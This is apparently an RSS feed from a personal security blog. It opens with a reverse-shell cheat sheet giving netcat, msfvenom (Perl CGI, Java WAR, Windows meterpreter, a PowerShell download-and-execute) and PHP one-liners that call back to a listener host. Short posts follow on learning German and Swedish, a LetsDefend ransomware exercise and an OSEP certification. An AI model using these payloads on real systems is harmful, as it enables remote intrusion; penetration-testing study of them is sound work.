<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-sh" data-lang="sh"><span style="display:flex;"><span>rm /tmp/f;mkfifo /tmp/f;cat /tmp/f | /bin/sh -i 2&gt;&amp;<span style="color:#ae81ff">1</span> | nc 192.168.42.42 <span style="color:#ae81ff">443</span> &gt;/tmp/f
</span></span></code></pre></div><hr></description></item><item><title>Metasploit</title><link>https://onikenaz.ovh/cheatsheets/hacking/reverse_shellls/metasploit/</link><pubDate>Thu, 02 Oct 2025 00:00:00 +0000</pubDate><guid>https://onikenaz.ovh/cheatsheets/hacking/reverse_shellls/metasploit/</guid><description><h1 id="perl-example-to-deploy-as-cgi-bin">Perl (example to deploy as cgi-bin)</h1>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-console" data-lang="console"><span style="display:flex;"><span>msfvenom -p cmd/unix/reverse_perl LHOST=&#34;192.168.42.42&#34; LPORT=443 -f raw -o reverse_shell.cgi
</span></span></code></pre></div><hr>
<h1 id="java-example-to-deploy-in-tomcat">Java (example to deploy in Tomcat)</h1>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-console" data-lang="console"><span style="display:flex;"><span>msfvenom -p java/shell_reverse_tcp LHOST=192.168.42.42 LPORT=443 -f war rev_shell.war
</span></span></code></pre></div><hr>
<h1 id="windows---download-reverse-shell">Windows - Download Reverse Shell</h1>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-console" data-lang="console"><span style="display:flex;"><span>msfvenom -a x86 --platform windows -p windows/exec CMD=&#34;powershell \&#34;IEX(New-Object Net.WebClient
</span></span><span style="display:flex;"><span>).downloadString(&#39;http://192.168.42.42/Invoke-PowerShellTcp.ps1&#39;)\&#34;&#34; -e x86/unicode_mixed BufferR
</span></span><span style="display:flex;"><span>egister=EAX -f python
</span></span></code></pre></div><div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-console" data-lang="console"><span style="display:flex;"><span>msfvenom -p windows/x64/meterpreter/reverse_https lhost=192.168.42.42 lport=443 -f csharp
</span></span></code></pre></div><p>We can also use it with the following parameters for migration</p></description></item><item><title>PHP</title><link>https://onikenaz.ovh/cheatsheets/hacking/reverse_shellls/php/</link><pubDate>Thu, 02 Oct 2025 00:00:00 +0000</pubDate><guid>https://onikenaz.ovh/cheatsheets/hacking/reverse_shellls/php/</guid><description><div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-php" data-lang="php"><span style="display:flex;"><span><span style="color:#f92672">&lt;?</span><span style="color:#a6e22e">php</span> $sock <span style="color:#f92672">=</span> <span style="color:#a6e22e">fsockopen</span>(<span style="color:#e6db74">&#34;192.168.42.42&#34;</span>,<span style="color:#e6db74">&#34;443&#34;</span>); $proc <span style="color:#f92672">=</span> <span style="color:#a6e22e">proc_open</span>(<span style="color:#e6db74">&#34;/bin/sh -i&#34;</span>, <span style="color:#66d9ef">array</span>(<span style="color:#ae81ff">0</span><span style="color:#f92672">=&gt;</span>$sock, <span style="color:#ae81ff">1</span>
</span></span><span style="display:flex;"><span><span style="color:#f92672">=&gt;</span>$sock, <span style="color:#ae81ff">2</span><span style="color:#f92672">=&gt;</span>$sock), $pipes); <span style="color:#75715e">?&gt;</span><span style="color:#960050;background-color:#1e0010">
</span></span></span></code></pre></div><hr>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-php" data-lang="php"><span style="display:flex;"><span><span style="color:#a6e22e">php</span> <span style="color:#f92672">-</span><span style="color:#a6e22e">r</span> <span style="color:#e6db74">&#39;$sock=fsockopen(&#34;192.168.42.42&#34;,443);exec(&#34;/bin/sh -i &lt;&amp;3 &gt;&amp;3 2&gt;&amp;3&#34;);&#39;</span>
</span></span></code></pre></div><hr></description></item><item><title>Wehmütig</title><link>https://onikenaz.ovh/posts/2025/wehmutig.de/</link><pubDate>Sun, 08 Jun 2025 00:00:00 +0000</pubDate><guid>https://onikenaz.ovh/posts/2025/wehmutig.de/</guid><description><img src="https://onikenaz.ovh/images/blog/general/wehmutig.png" class="center" />
<h1 id="wehmütig">Wehmütig</h1>
<p>Wie der Donner, der dem vorbeiziehenden Blitz folgt, so umarmte sie mich - Verfinsterung</p></description></item><item><title>Zerdenken</title><link>https://onikenaz.ovh/posts/2025/zerdenken.de/</link><pubDate>Sat, 07 Jun 2025 00:00:00 +0000</pubDate><guid>https://onikenaz.ovh/posts/2025/zerdenken.de/</guid><description><img src="https://onikenaz.ovh/images/blog/general/zerdenken.png" class="center" />
<p>Als es April 2022 war, habe ich einen Post auf Schwedisch geschreiben, weil ich angefangen habe, Schwedisch zu lernen. Ich erinnere mich nicht, wann genau ich aufgehört habe, Schwedisch zu lernen.</p>
<p>Im Februar 2023 bin ich nach Deutschland umgezogen. Als ich umgezogen bin, habe ich anfangen, um Deutsch zu lernen. Jetzt lerne ich seit ungefähr zwei Jahren Deutsch.</p>
<p>Es ist ein bisschen komisch, aber ich habe das Gefühl, dass ich etwas auf Deutsch ausdrucken kann, was ich in meiner Muttersprache (Spanisch) nicht konnte - sogar wenn ich viele Fehler mache.</p></description></item><item><title>SOC145 - Ransomware Detected</title><link>https://onikenaz.ovh/posts/2022/soc145ransomwaredetected/</link><pubDate>Fri, 24 Jun 2022 00:00:00 +0000</pubDate><guid>https://onikenaz.ovh/posts/2022/soc145ransomwaredetected/</guid><description><img src="https://onikenaz.ovh/images/letsdefend/soc145/ransomware-card.png" class="center" />
<h2 id="quick-summary">Quick Summary</h2>
<p>Well, my lab time for OSWE/OSED courses just came to an end and I&rsquo;m still way to far from being able to take their respective exams (still haven&rsquo;t even reached the challenges, stuck on the material/excersises), so just as a way to take a short rest and a change of air from it, I decided to take a look around if there was anything similar to HTB but for Blue Team stuff (I barely know stuff related to it, besides my tasks as Appsec/DevSecOps whatever you want to call it mehh!), by doing this I ended up finding a web page called &ldquo;Lets Defend&rdquo;, it has some ctf alike games but focused exactly on the Blue Team side together with some Training content, which in a really easy and understandable way explains the 101 of SOC/Incident Response/SIEM, etc, pretty nice to have a quick and overview about that stuff, I liked it.</p></description></item><item><title>Hur jag är lär mig svenska</title><link>https://onikenaz.ovh/posts/2022/larmigsvenska.se/</link><pubDate>Sat, 09 Apr 2022 00:00:00 +0000</pubDate><guid>https://onikenaz.ovh/posts/2022/larmigsvenska.se/</guid><description><img src="https://onikenaz.ovh/images/blog/general/larsvenska.png" class="center" />
<p>Förneka: Deta blogginlägget har mycket fel, jag vet det, men&hellip;jag vill bara skriva lite om hur jag lär mig svenska, så det är en lite öva för mig, ingenting allvarlig!</p>
<p>Vad kan säga jag? Jag gillar hur germanska språk ljud, och jag också gillar många metal-band från sverige (och svenska kultur), för det anledning beslutade jag lär mig svenska (i framtiden jag skulle vilja också lär tyska och holländska).</p></description></item><item><title>Three is Company: My adventure getting OSEP towards landing OSCE3</title><link>https://onikenaz.ovh/posts/2022/threeiscompany/</link><pubDate>Tue, 25 Jan 2022 00:00:00 +0000</pubDate><guid>https://onikenaz.ovh/posts/2022/threeiscompany/</guid><description><img src="https://onikenaz.ovh/images/blog/osep/osep_banner.png" class="center" />
<h2 id="preface">Preface</h2>
<p>Twenty months have passed since ceso obtained his OSCP and just now in January/2022 got his OSEP, during this time he traveled from the old continent back to his hometown on the other side of the world as there was stuff he needed to sort out. Covid-19 (c-19), the pandemic that started in 2020, was still leaving havoc behind any place where it arrived, and the situation didn&rsquo;t look like getting better any soon. His travel back was not the easiest one as it used to be before the c-19 attacked but still, as it was he was able to return without facing odds.
Ceso saved some money and made ambitious objectives when it was still 2021; &ldquo;I will get OSCE3!!!&rdquo;, but&hellip;stuff doesn&rsquo;t always go as expected or how we want, and his life started to go downhill in some aspects of his life, health started to be quite
an issue and all his plans needed to be pushed aside and improving his health turned the top priority.